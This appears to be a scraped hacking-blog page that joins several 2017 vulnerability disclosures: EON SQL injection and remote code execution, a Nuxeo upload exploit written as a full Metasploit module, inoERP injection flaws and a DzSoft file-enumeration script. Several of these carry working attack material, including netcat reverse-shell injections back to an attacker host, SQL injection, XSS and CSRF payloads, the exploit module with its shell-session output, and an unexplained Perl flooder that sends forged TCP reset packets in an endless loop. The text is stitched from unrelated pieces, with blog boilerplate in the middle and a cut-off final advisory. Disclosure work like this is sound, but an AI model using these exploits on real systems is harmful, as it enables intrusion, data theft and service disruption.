# [CVE-2017-6088] EON 5.0 Multiple SQL Injection
## Description
EyesOfNetwork ("EON") is an OpenSource network monitoring solution.
## SQL injection (authenticated)
The Eonweb code does not correctly filter arguments, allowing
authenticated users to inject arbitrary SQL requests.
**CVE ID**: CVE-2017-6088
**Access Vector**: remote
**Security Risk**: medium
**Vulnerability**: CWE-89
**CVSS Base Score**: 6.0
**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L
### Proof of Concept 1 (root privileges)
The following HTTP request allows an attacker (connected as
administrator) to dump the database contents using SQL injections inside
either the `bp_name` or the `display` parameter. These requests are
executed with MySQL root privileges.
```
https://eonweb.local/module/admin_bp/php/function_bp.php?action=list_process&bp_name=&display=%27or%271%27=%271
https://eonweb.local/module/admin_bp/php/function_bp.php?action=list_process&bp_name=%27or%271%27=%271&display=1
```
#### Vulnerable code
The vulnerable code can be found inside the
`module/monitoring_ged/ged_functions.php` file, line 114:
```
function list_process($bp,$display,$bdd){
$sql = "select name from bp where is_define = 1 and name!='".$bp."'
and priority = '" . $display . "'";
$req = $bdd->query($sql);
$process = $req->fetchall();
echo json_encode($process);
}
```
### Proof of Concept 2
The following HTTP request allows an attacker to dump the database
contents using SQL injections inside the `type` parameter:
```
https://eonweb.local/module/monitoring_ged/ajax.php?queue=active&type=1%27+AND+(SELECT+sleep(5))+AND+%271%27=%271&owner=&filter=equipment&search=&ok=on&warning=on&critical=on&unknown=on&daterange=&time_period=&ack_time=
```
#### Vulnerable code
The vulnerable code can be found inside the
`module/monitoring_ged/ajax.php` file, line 64:
```
if($_GET["type"] == 0){
$ged_where = "WHERE pkt_type_id!='0'";
} else {
$ged_where = "WHERE pkt_type_id='".$_GET["type"]."'";
}
$gedsql_result1=sqlrequest($database_ged,"SELECT
pkt_type_id,pkt_type_name FROM pkt_type $ged_where AND pkt_type_id<'100';");
```
### Proof of Concept 3
The following HTTP request allows an attacker to dump the database
contents using SQL injections inside the `search` parameter:
```
https://eonweb.local/module/monitoring_ged/ajax.php?queue=active&type=1&owner=&filter=equipment&search='+AND+(select+sleep(5))+AND+'1'='1&ok=on&warning=on&critical=on&unknown=on&daterange=&time_period=&ack_time=
```
#### Vulnerable code
The vulnerable code can be found inside the
`module/monitoring_ged/ged_functions.php` file, line 129.
```
if($search != ""){
$like = "";
if( substr($search, 0, 1) === '*' ){
$like .= "%";
}
$like .= trim($search, '*');
if ( substr($search, -1) === '*' ) {
$like .= "%";
}
$where_clause .= " AND $filter LIKE '$like'";
}
```
### Proof of Concept 4
The following HTTP request allows an attacker to dump the database
contents using SQL injections inside the `equipment` parameter:
```
https://eonweb.local/module/monitoring_ged/ged_actions.php?action=advancedFilterSearch&filter=(select+user_passwd+from+eonweb.users+limit
1)&queue=history
```
#### Vulnerable code
The vulnerable code can be found inside the
`module/monitoring_ged/ged_functions.php` file, line 493:
```
$gedsql_result1=sqlrequest($database_ged,"SELECT
pkt_type_id,pkt_type_name FROM pkt_type WHERE pkt_type_id!='0' AND
pkt_type_id<'100';");
while($ged_type = mysqli_fetch_assoc($gedsql_result1)){
$sql = "SELECT DISTINCT $filter FROM
".$ged_type["pkt_type_name"]."_queue_".$queue;
$results = sqlrequest($database_ged, $sql);
while($result = mysqli_fetch_array($results)){
if( !in_array($result[$filter], $datas) && $result[$filter] != "" ){
array_push($datas, $result[$filter]);
}
}
}
```
## Timeline (dd/mm/yyyy)
* 01/10/2016 : Initial discovery.
* 09/10/2016 : Fisrt contact with vendor.
* 23/10/2016 : Technical details sent to the security contact.
* 27/10/2016 : Vendor akwnoledgement and first patching attempt.
* 16/02/2017 : New tests done on release candidate 5.1. Fix confirmed.
* 26/02/2017 : 5.1 release. Waiting for 2 weeks according to our
repsonsible disclosure agreement.
* 14/03/2017 : Public disclosure.
Thank you to EON for the fast response.
## Solution
Update to version 5.1.
## Affected versions
* Version <= 5.0
## Credits
* Nicolas SERRA <n.serra@sysdream.com>
-- SYSDREAM Labs <labs@sysdream.com>
GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1
* Website: https://sysdream.com/
* Twitter: @sysdream
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863529581
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# [CVE-2017-6087] EON 5.0 Remote Code Execution
## Description
EyesOfNetwork ("EON") is an OpenSource network monitoring solution.
## Remote Code Execution (authenticated)
The Eonweb code does not correctly filter arguments, allowing
authenticated users to execute arbitrary code.
**CVE ID**: CVE-2017-6087
**Access Vector**: remote
**Security Risk**: high
**Vulnerability**: CWE-78
**CVSS Base Score**: 7.6
**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
### Proof of Concept 1
On the attacker's host, we start a handler:
```
nc -lvp 1337
```
The `selected_events` parameter is not correctly filtered before it is
used by the `shell_exec()` function.
There, it is possible to inject a payload like in the request below,
where we connect back to our handler:
```
https://eonweb.local/module/monitoring_ged/ged_actions.php?queue=history&action=confirm&global_action=4&selected_events%5B%5D=;nc%2010.0.5.124%201337%20-e%20/bin/bash;
```
#### Vulnerable code
The payload gets injected into the `$event[$key]` and `$ged_command`
variables of the `module/monitoring_ged/ged_functions.php` file, line 373:
```
$ged_command = "-update -type $ged_type_nbr ";
foreach ($array_ged_packets as $key => $value) {
if($value["type"] == true){
if($key == "owner"){
$event[$key] = $owner;
}
$ged_command .= "\"".$event[$key]."\" ";
}
}
$ged_command = trim($ged_command, " ");
shell_exec($path_ged_bin." ".$ged_command);
```
Two other functions in this file are also affected by this problem:
* `delete($selected_events, $queue);`
* `ownDisown($selected_events, $queue, $global_action);`
### Proof of Concept 2
On the attacker's host, we start a handler:
```
nc -lvp 1337
```
The `module` parameter is not correctly filtered before it is used by
the `shell_exec()` function.
Again, we inject our connecting back payload:
```
https://eonweb.local/module/index.php?module=|nc%20192.168.1.14%201337%20-e%20/bin/bash&link=padding
```
#### Vulnerable code
In the `module/index.php` file, line 24, we can see that our payload is
injected into the `exec()` function without any sanitization:
```
# Check optionnal module to load
if(isset($_GET["module"]) && isset($_GET["link"])) {
$module=exec("rpm -q ".$_GET["module"]." |grep '.eon' |wc -l");
# Redirect to module page if rpm installed
if($module!=0) { header('Location: '.$_GET["link"].''); }
}
```
## Timeline (dd/mm/yyyy)
* 01/10/2016 : Initial discovery.
* 09/10/2016 : Fisrt contact with vendor.
* 23/10/2016 : Technical details sent to the security contact.
* 27/10/2016 : Vendor akwnoledgement and first patching attempt.
* 11/10/2016 : Testing the patch revealed that it needed more work.
* 16/02/2017 : New tests done on release candidate 5.1. Fix confirmed.
* 26/02/2017 : 5.1 release. Waiting for 2 weeks according to our
repsonsible disclosure agreement.
* 14/03/2017 : Public disclosure.
Thank you to EON for the fast response.
## Solution
Update to version 5.1
## Affected versions
* Version <= 5.0
## Credits
* Nicolas SERRA <n.serra@sysdream.com>
-- SYSDREAM Labs <labs@sysdream.com>
GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1
* Website: https://sysdream.com/ *
Twitter: @sysdream
=begin
# Description
Nuxeo Platform is a content management system for enterprises (CMS).
It embeds an Apache Tomcat server, and can be managed through a web
interface.
One of its features allows authenticated users to import files to the
platform.
By crafting the upload request with a specific ``X-File-Name`` header,
one can successfuly upload a file at an arbitrary location of the server
file system.
It is then possible to upload a JSP script to the root directory of the
web application to execute commands on the remote host operating system.
Setting the value ``../../nxserver/nuxeo.war/shell.jsp`` to the
``X-File-Name`` header is a way to do so.
## Details
**CVE ID**: CVE-2017-5869
**Access Vector**: network
**Security Risk**: high
**Vulnerability**: CWE-434
**CVSS Base Score**: 8.8
**CVSS Vector**: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
# Proof of Concept
Here is a metasploit module to exploit this vulnerability:
=end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Nuxeo Platform File Upload RCE",
'Description' => %q{
The Nuxeo Platform tool is vulnerable to an authenticated remote code execution,
thanks to an upload module.
},
'License' => MSF_LICENSE,
'Author' => ['Ronan Kervella <r.kervella@sysdream.com>'],
'References' =>
[
['https://nuxeo.com/', '']
],
'Platform' => %w{linux},
'Targets' => [ ['Nuxeo Platform 6.0 to 7.3', 'Platform' => 'linux'] ],
'Arch' => ARCH_JAVA,
'Privileged' => true,
'Payload' => {},
'DisclosureDate' => "",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the nuxeo application', '/nuxeo']),
OptString.new('USERNAME', [true, 'A valid username', '']),
OptString.new('PASSWORD', [true, 'Password linked to the username', ''])
], self.class)
end
def jsp_filename
@jsp_filename ||= Rex::Text::rand_text_alpha(8) + '.jsp'
end
def jsp_path
'nxserver/nuxeo.war/' + jsp_filename
end
def nuxeo_login
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/login.jsp')
)
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
session_cookie = res.get_cookies
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/nxstartup.faces'),
'cookie' => session_cookie,
'vars_post' => {
'user_name' => datastore['USERNAME'],
'user_password' => datastore['PASSWORD'],
'submit' => 'Connexion'
}
)
return session_cookie if res && res.code == 302 && res.redirection.to_s.include?('view_home.faces')
nil
end
def trigger_shell
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, jsp_filename)
)
fail_with(Failure::Unknown, 'Unable to get #{full_uri}/#{jsp_filename}') unless res && res.code == 200
end
def exploit
print_status("Authenticating using #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
session_cookie = nuxeo_login
if session_cookie
payload_url = normalize_uri(target_uri.path, jsp_filename)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/site/automation/batch/upload'),
'cookie' => session_cookie,
'headers' => {
'X-File-Name' => '../../' + jsp_path,
'X-Batch-Id' => '00',
'X-File-Size' => '1024',
'X-File-Type' => '',
'X-File-Idx' => '0',
'X-Requested-With' => 'XMLHttpRequest'
},
'ctype' => '',
'data' => payload.encoded
)
fail_with(Failure::Unknown, 'Unable to upload the payload') unless res && res.code == 200
print_status("Executing the payload at #{normalize_uri(target_uri.path, payload_url)}.")
trigger_shell
else
fail_with(Failure::Unknown, 'Unable to login')
end
end
end
=begin
Module output:
```bash
msf> use exploit/multi/http/nuxeo
msf exploit(nuxeo) > set USERNAME user1
USERNAME => user1
msf exploit(nuxeo) > set PASSWORD password
PASSWORD => password
msf exploit(nuxeo) > set rhost 192.168.253.132
rhost => 192.168.253.132
msf exploit(nuxeo) > set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
msf exploit(nuxeo) > set lhost 192.168.253.1
lhost => 192.168.253.1
msf exploit(nuxeo) > exploit
[-] Handler failed to bind to 192.168.253.1:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Authenticating using user1:password
[*] Executing the payload at /nuxeo/nuxeo/QBCefwxQ.jsp.
[*] Command shell session 1 opened (172.17.0.2:4444 ->
192.168.253.132:43279) at 2017-01-13 14:47:25 +0000
id
uid=1000(nuxeo) gid=1000(nuxeo)
groups=1000(nuxeo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare)
pwd
/var/lib/nuxeo/server
```
# Vulnerable code
The vulnerable code is located in the
`org.nuxeo.ecm.restapi.server.jaxrs.BatchUploadObject` class ([github
link](https://github.com/nuxeo/nuxeo/blob/b05dde789a6c0c7b5f361608eb6d6bd0fda31f36/nuxeo-features/rest-api/nuxeo-rest-api-server/src/main/java/org/nuxeo/ecm/restapi/server/jaxrs/BatchUploadObject.java#L150)),
where the header ``X-File-Name`` is not checked.
# Fix
Nuxeo provided a
[patch](https://github.com/nuxeo/nuxeo/commit/6b3113977ef6c2307f940849a2c196621ebf1892)
for this issue.
A hotfix release is also available for Nuxeo 6.0 (Nuxeo 6.0 HF35).
Please note that vulnerability does not affect Nuxeo versions above 7.3.
# Affected versions
* Nuxeo 6.0 (LTS 2014), released 2014-11-06
* Nuxeo 7.1 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-01-15
* Nuxeo 7.2 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-03-24
* Nuxeo 7.3 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-06-24
# Unaffected versions
* Nuxeo 6.0 HF35, released 2017-01-12
* Nuxeo 7.4 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-10-02
* Nuxeo 7.10 (LTS 2015), released 2015-11-09
* Nuxeo 8.10 (LTS 2016), released 2016-12-06
# Credits
Ronan Kervella <r.kervella@sysdream.com>
-- SYSDREAM Labs <labs@sysdream.com>
GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1
* Website: https://sysdream.com/
* Twitter: @sysdream
=end
=== FOXMOLE - Security Advisory 2017-01-25 ===
inoERP - Multiple Issues
~~~~~~~~~~~~~~~~~~~~~~~~~
Affected Versions
=================
inoERP 0.6.1
Issue Overview
==============
Vulnerability Type: SQL Injection, Cross Site Scripting, Cross Site Request Forgery, Session Fixation
Technical Risk: critical
Likelihood of Exploitation: medium
Vendor: inoERP
Vendor URL: http://inoideas.org/ / https://github.com/inoerp/inoERP
Credits: FOXMOLE employee Tim Herres
Advisory URL: https://www.foxmole.com/advisories/foxmole-2017-01-25.txt
Advisory Status: Public
OVE-ID: OVE-20170126-0002
CVSS 2.0: 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Impact
======
There are multiple SQL Injection vulnerabilities, exploitable without authentication.
An attacker could use the SQL Injection to access the database in an unsafe way.
This means there is a high impact to all applications.
The inoERP software also lacks in input validation resulting in different reflected/stored XSS vulnerabilities.
Issue Description
=================
The following findings are only examples, there are quite more. The whole application should be reviewed.
All items tested using FF52.
1.) Cross Site Scripting:
Stored:
Create a new Question in the -->Forum --> Ask a question
Vulnerable fields : Title, Content
Used Payload: Test<script>alert("xss")</script>
Response:
[...]
<title>Test<script>alert("xss")</script> - inoERP!</title>
[...]
The latest questions are included in the start page which means the entered payload gets executed directly in the start page.
Reflected:
With Auth:
http://192.168.241.143/inoerp/form.php?class_name=%3CscRipt%3Ealert(%22xss%22)%3C%2fscRipt%3E&mode=9&user_id=7
http://192.168.241.143/inoerp/includes/json/json_blank_search.php?class_name=content&content_type_id=49&window_type=%22%3C/scRipt%3E%3CscRipt%3Ealert(%22xss%22)
%3C/scRipt%3E
http://192.168.241.143/inoerp/program.php?class_name=%3CscRipt%3Ealert(%22xss%22)%3C%2fscRipt%3E&program_name=prg_all_combinations&program_type=download_report
Unauthenticated:
http://192.168.241.143/inoerp/index.php/'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(%22xss%22)%3C/scRipt%3E
2.) No protection against Cross Site Request Forgery Attacks:
PoC: Changing the admin user credentials.
<html>
<body>
<form action="http://<IP>/inoerp/form.php?class_name=user" method="POST">
<input type="hidden" name="headerData[0][name]" value="user_id[]" />
<input type="hidden" name="headerData[0][value]" value="1" />
<input type="hidden" name="headerData[1][name]" value="username[]" />
<input type="hidden" name="headerData[1][value]" value="inoerp" />
<input type="hidden" name="headerData[2][name]" value="enteredPassword[]" />
<input type="hidden" name="headerData[2][value]" value="test" />
<input type="hidden" name="headerData[3][name]" value="enteredRePassword[]" />
<input type="hidden" name="headerData[3][value]" value="test" />
<input type="hidden" name="headerData[4][name]" value="first_name[]" />
<input type="hidden" name="headerData[4][value]" value="inoerp" />
<input type="hidden" name="headerData[5][name]" value="last_name[]" />
<input type="hidden" name="headerData[5][value]" value="inoerp" />
<input type="hidden" name="headerData[6][name]" value="email[]" />
<input type="hidden" name="headerData[6][value]" value="inoerp@no-site.com" />
<input type="hidden" name="headerData[7][name]" value="phone[]" />
[..snipped...]
If a privileged user activates the request, the admin user id=1 is set to "test".
3.) SQL Injection:
Auth required:No
#####
http://192.168.241.143/inoerp/form.php?
Parameter: module_code (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause
Payload: module_code=test' RLIKE (SELECT (CASE WHEN (2838=2838) THEN
0x74657374 ELSE 0x28 END))-- qkmO
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: module_code=test' AND (SELECT 8706 FROM(SELECT
COUNT(*),CONCAT(0x716b7a6271,(SELECT
(ELT(8706=8706,1))),0x7171626a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NPEq
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (comment)
Payload: module_code=test';SELECT SLEEP(5)#
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: module_code=test' OR SLEEP(5)-- STgC
Exploitable using e.g. SQLMAP
Blind SQL Injection:
sqlmap -u
"http://192.168.241.143/inoerp/content.php?content_type%5b%5d=test&search_text=3&search_document_list%5b%5d=all"
-p "content_type%5b%5d" --dbms="MySQL"
Parameter: content_type[] (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: content_type[]=-8366' OR 7798=7798 AND
'eanR'='eanR&search_text=3&search_document_list[]=all
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: content_type[]=test' OR SLEEP(5) AND
'exIO'='exIO&search_text=3&search_document_list[]=all
#####
4.) Session Fixation:
After a successful login the SessionID PHPSESSID remains the same:
Before Login: INOERP123123=t4e5ef5kqnv6d1u2uguf7lraa2
After Login: INOERP123123=t4e5ef5kqnv6d1u2uguf7lraa2
Temporary Workaround and Fix
============================
FOXMOLE advises to restrict the access to all vulnerable inoERP systems until all vulnerabilities are fixed.
History
=======
2017-01-25 Issue discovered
2017-01-26 Vendor contacted -> no response
2017-02-20 Vendor contacted again -> no response
2017-03-06 Vendor contacted again -> no response
2017-03-27 Advisory Release
GPG Signature
=============
This advisory is signed with the GPG key of the FOXMOLE advisories team.
The key can be downloaded here: https://www.foxmole.com/advisories-key-3812092199E3277C.asc
[+] Credits: John Page AKA hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/DZSOFT-v4.2.7-PHP-EDITOR-FILE-ENUMERATION.txt
[+] ISR: ApparitionSec
Vendor:
==============
www.dzsoft.com
Product:
=========================
DzSoft PHP Editor v4.2.7
DzSoft PHP Editor is a tool for writing and testing PHP and HTML pages.
Vulnerability Type:
====================
File Enumeration
CVE Reference:
==============
N/A
Security Issue:
================
DzSoft comes with a built-in web server used to preview PHP files, the built-in web server is prone to file enumeration
attacks when combining "HEAD" method HTTP requests with directory traversal "\../../" type attacks. This can aid attackers
in information gathering (File enumeration) to help in possibly furthering attacks.
On install DzSoft users get Windows network warning like:
"Allow Dzsoft to communicate on these networks:"
Private networks, such as my home or work network
Public networks, such as those in airports and coffee shops (not recommended).
This selection will create Firewall rule and determine remote connections allowed to DzSoft editors built-in server.
Then when remote user make HTTP request to DzSoft they will get HTTP 403 Forbidden from the built-in web server.
e.g.
curl -v "http://VICTIM-IP/\../mysql/data/mysql.pid"
< HTTP/1.1 403 Forbidden
< Content-Type: text/html
< Content-Length: 1554
<
<HTML>
<HEAD>
<TITLE>403 Forbidden</TITLE>
</HEAD>
<BODY>
<!-- ---------------------------------------------------------------------------------------------------- -->
<!-- ---------------------------------------------------------------------------------------------------- -->
<!-- ---------------------------------------------------------------------------------------------------- -->
<!-- ---------------------------------------------------------------------------------------------------- -->
<!-- ---------------------------------------------------------------------------------------------------- -->
<!-- ---------------------------------------------------------------------------------------------------- -->
<!-- ---------------------------------------------------------------------------------------------------- -->
<!-- ---------------------------------------------------------------------------------------------------- -->
<!-- ---------------------------------------------------------------------------------------------------- -->
<!-- ---------------------------------------------------------------------------------------------------- -->
<H1>Forbidden</H1>
<p>For security reasons, you cannot access the built-in web server of DzSoft PHP Editor from another computer.</p>
<p>If you see this message within DzSoft PHP Editor's window, or if you think that there might be reasons to enable access from other computers,
</BODY>
</HTML>
* Connection #0 to host x.x.x.x left intact
However, this 403 Forbidden access control can be bypassed by malicious users to "stat" files in and outside the webroot.
e.g. mysql directory.
File enumeration Conditions:
These setting is found under Run / Run Options / Paramaters tab
a) DZSoft built-in web server is running
b) DZSoft built-in web servers "REMOTE_HOST=x.x.x.x" and "REMOTE_ADDR=x.x.x.x" is set to a real IP other than localhost.
For POC create and save a PHP file under XAMPP/htdocs and run DzSoft built-in web server in preview mode.
Next make request for "mysql/my-huge.ini" to see if exists.
C:\>curl -v -I "http://VICTIM-IP/\../mysql/my-huge.ini"
* Trying VICTIM-IP...
* Connected to VICTIM-IP (VICTIM-IP) port 80 (#0)
> HEAD /\../mysql/my-huge.ini HTTP/1.1
> User-Agent: curl/7.41.0
> Host: VICTIM-IP
> Accept: */*
>
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Content-Type:
Content-Type:
< Content-Length: 5057
Content-Length: 5057
< Cache-Control: no-cache
Cache-Control: no-cache
Checking for "mysql.pid"
/////////////////////////
C:\>curl -v -I "http://VICTIM-IP/\../mysql/data/mysql.pid"
* Trying VICTIM-IP...
* Connected to VICTIM-IP (VICTIM-IP) port 80 (#0)
> HEAD /\../mysql/data/mysql.pid HTTP/1.1
> User-Agent: curl/7.41.0
> Host: VICTIM-IP
> Accept: */*
>
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Content-Type:
Content-Type:
< Content-Length: 5
Content-Length: 5
< Cache-Control: no-cache
Cache-Control: no-cache
< Expires: 0
Checking for "xampp_shell.bat"
///////////////////////////////
C:\>curl -v -I "http://VICTIM-IP/\../xampp_shell.bat"
* Trying VICTIM-IP...
* Connected to VICTIM-IP (VICTIM-IP) port 80 (#0)
> HEAD /\../xampp_shell.bat HTTP/1.1
> User-Agent: curl/7.41.0
> Host: VICTIM-IP
> Accept: */*
>
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Content-Type:
Content-Type:
< Content-Length: 1084
Content-Length: 1084
< Cache-Control: no-cache
These also work...
[root@localhost local]# wget -S --spider "http://VICTIM-IP:8080/\../mysql/my-huge.ini"
--10:26:21-- http://VICTIM-IP:8080/%5C../mysql/my-huge.ini
Connecting to VICTIM-IP:8080... connected.
HTTP request sent, awaiting response...
HTTP/1.0 200 OK
Content-Type:
Content-Length: 5057
Cache-Control: no-cache
Expires: 0
Length: 5057 (4.9K) []
200 OK
[root@localhost local]# wget -S --spider "http://VICTIM-IP:8080/\../mysql/my-innodb-heavy-4G.ini"
--10:29:03-- http://VICTIM-IP:8080/%5C../mysql/my-innodb-heavy-4G.ini
Connecting to VICTIM-IP:8080... connected.
HTTP request sent, awaiting response...
HTTP/1.0 200 OK
Content-Type:
Content-Length: 20906
Cache-Control: no-cache
Expires: 0
Length: 20906 (20K) []
200 OK
Tested Windows XAMPP, Linux / curl
curl 7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5
//////////////////////////////////////////
Next, target files on C:\ Drive.
Bypass 401 Forbidden to enumerate a file on C:\ drive named "hi.txt"
wget "http://127.0.0.1:8088/c/hi.txt" -c --header="Range: bytes=0"
Exploit/POC:
=============
In DZSoft PHP Editor
1) Change DzSoft web server options for remote address to IP other than localhost.
2) Create test PHP file deploy under xampp/htdocs or whatever Apache your using.
3) Start DzSofts built-in webserver to preview PHP file
Then,
import socket
print 'DzSoft File Enumeration POC'
print 'Hyp3rlinx / ApparitionSec'
IP=raw_input("[IP]>")
PORT=int(raw_input("[PORT]>"))
DEPTH=int(raw_input("[DEPTH]>"))
FILE=raw_input("[FILE]>")
ENUM="HEAD "+"/\\"
ENUM+="../"*DEPTH+FILE+ " HTTP/1.0\r\n\r\n"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,PORT))
s.send(ENUM)
print 'Enumerating file:'
print ENUM
output = s.recv(128)
print output
s.close()
Network Access:
===============
Remote
Severity:
=========
Medium
Disclosure Timeline:
==================================
Vendor Notification: No reply
March 27, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
#!/usr/local/bin/perl
use Socket;
$src_host =3D $ARGV[0];=20
$src_port =3D $ARGV[1];=20
$dst_host =3D $ARGV[2];=20
$dst_port =3D $ARGV[3];=20
if(!defined $src_host or !defined $src_port or !defined $dst_host or !defin=
ed $dst_port)=20
{
=09
=09print "Usage: $0 <source host> <source port> <dest host> <dest port>\n";
=09exit;
}=20
else=20
{
=09
=09main();
}
=20
sub main=20
{
=09my $src_host =3D (gethostbyname($src_host))[4];
=09my $dst_host =3D (gethostbyname($dst_host))[4];
=09$IPROTO_RAW =3D 255;
=09socket($sock , AF_INET, SOCK_RAW, $IPROTO_RAW)=20
=09=09or die $!;
=09my ($packet) =3D makeheaders($src_host, $src_port, $dst_host, $dst_port)=
;
=09my ($destination) =3D pack('Sna4x8', AF_INET, $dst_port, $dst_host);
=09while(1)
=09{
=09=09send($sock , $packet , 0 , $destination)
=09=09=09or die $!;
=09}
}
sub makeheaders=20
{
=09$IPPROTO_TCP =3D 6;
=09local($src_host , $src_port , $dst_host , $dst_port) =3D @_;
=09my $zero_cksum =3D 0;
=09my $tcp_len =3D 20;
=09my $seq =3D 19456;
=09my $seq_ack =3D 0;
=09my $tcp_doff =3D "5";
=09my $tcp_res =3D 0;
=09my $tcp_doff_res =3D $tcp_doff . $tcp_res;
=09my $tcp_urg =3D 0;=20
=09my $tcp_ack =3D 0;
=09my $tcp_psh =3D 0;
=09my $tcp_rst =3D 1;
=09my $tcp_syn =3D 0;
=09my $tcp_fin =3D 0;
=09my $null =3D 0;
=09my $tcp_win =3D 124;
=09my $tcp_urg_ptr =3D 44;
=09my $tcp_flags =3D $null . $null . $tcp_urg . $tcp_ack . $tcp_psh . $tcp_=
rst . $tcp_syn . $tcp_fin ;
=09my $tcp_check =3D 0;
=09my $tcp_header =3D pack('nnNNH2B8nvn' , $src_port , $dst_port , $seq, $s=
eq_ack , $tcp_doff_res, $tcp_flags, $tcp_win , $tcp_check, $tcp_urg_ptr);
=09my $tcp_pseudo =3D pack('a4a4CCn' , $src_host, $dst_host, 0, $IPPROTO_TC=
P, length($tcp_header) ) . $tcp_header;
=09$tcp_check =3D &checksum($tcp_pseudo);
=09my $tcp_header =3D pack('nnNNH2B8nvn' , $src_port , $dst_port , $seq, $s=
eq_ack , $tcp_doff_res, $tcp_flags, $tcp_win , $tcp_check, $tcp_urg_ptr);
=09my $ip_ver =3D 4;
=09my $ip_len =3D 5;
=09my $ip_ver_len =3D $ip_ver . $ip_len;
=09my $ip_tos =3D 00;
=09my $ip_tot_len =3D $tcp_len + 20;
=09my $ip_frag_id =3D 19245;
=09my $ip_ttl =3D 25;
=09my $ip_proto =3D $IPPROTO_TCP;=09
=09my $ip_frag_flag =3D "010";
=09my $ip_frag_oset =3D "0000000000000";
=09my $ip_fl_fr =3D $ip_frag_flag . $ip_frag_oset;
=09my $ip_header =3D pack('H2CnnB16CCna4a4',=09$ip_ver_len, $ip_tos, $ip_to=
t_len, $ip_frag_id,=09$ip_fl_fr , $ip_ttl , $ip_proto , $zero_cksum , $src_=
host , $dst_host);
=09my $pkt =3D $ip_header . $tcp_header;
=09return $pkt;
}
sub checksum=20
{
=09my ($msg) =3D @_;
=09my ($len_msg,$num_short,$short,$chk);
=09$len_msg =3D length($msg);
=09$num_short =3D $len_msg / 2;
=09$chk =3D 0;
=09
=09foreach $short (unpack("S$num_short", $msg))=20
=09{
=09=09$chk +=3D $short;
=09}
=09
=09$chk +=3D unpack("C", substr($msg, $len_msg - 1, 1)) if $len_msg % 2;
=09$chk =3D ($chk >> 16) + ($chk & 0xffff);
=09
=09return(~(($chk >> 16) + $chk) & 0xffff);
}=20
# TITLE: Intermec Industrial Printers Local root with Busybox jailbreak
# Date: March 28th, 2017
# Author: Bourbon Jean-marie (kmkz) from AKERVA company | @kmkz_security
# Product Homepage:
http://www.intermec.com/products/prtrpm43a/
# Firmware download:
http://www.intermec.com/products/prtrpm43a/downloads.aspx
# Tested on :
model: PM43 RFID Industrial printer
firmware version: 10.10.011406
kernel: Linux PM43-xxxxxxx 2.6.31 #1 PREEMPT Mon Oct 26 10:49:59 SGT 2015 armv5tejl GNU/Linux
# CVSS: 7.5 (CVSS:3.0/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H)
# OVE ID: OVE-20170131-0001
# CVE ID: CVE-2017-5671
# OSVDB ID: n/a
# Thanks:
Dany Bach (Rioru) from AKERVA company for the exploitation design during the pentest during which the CVE-2017-5671 was discovered | @DDXhunter
Honeywell team which was really reactive (with special thanks to Kevin Staggs) !
# Credits:
The security notification that Intermec (Honeywell) sent to all of their dealers:
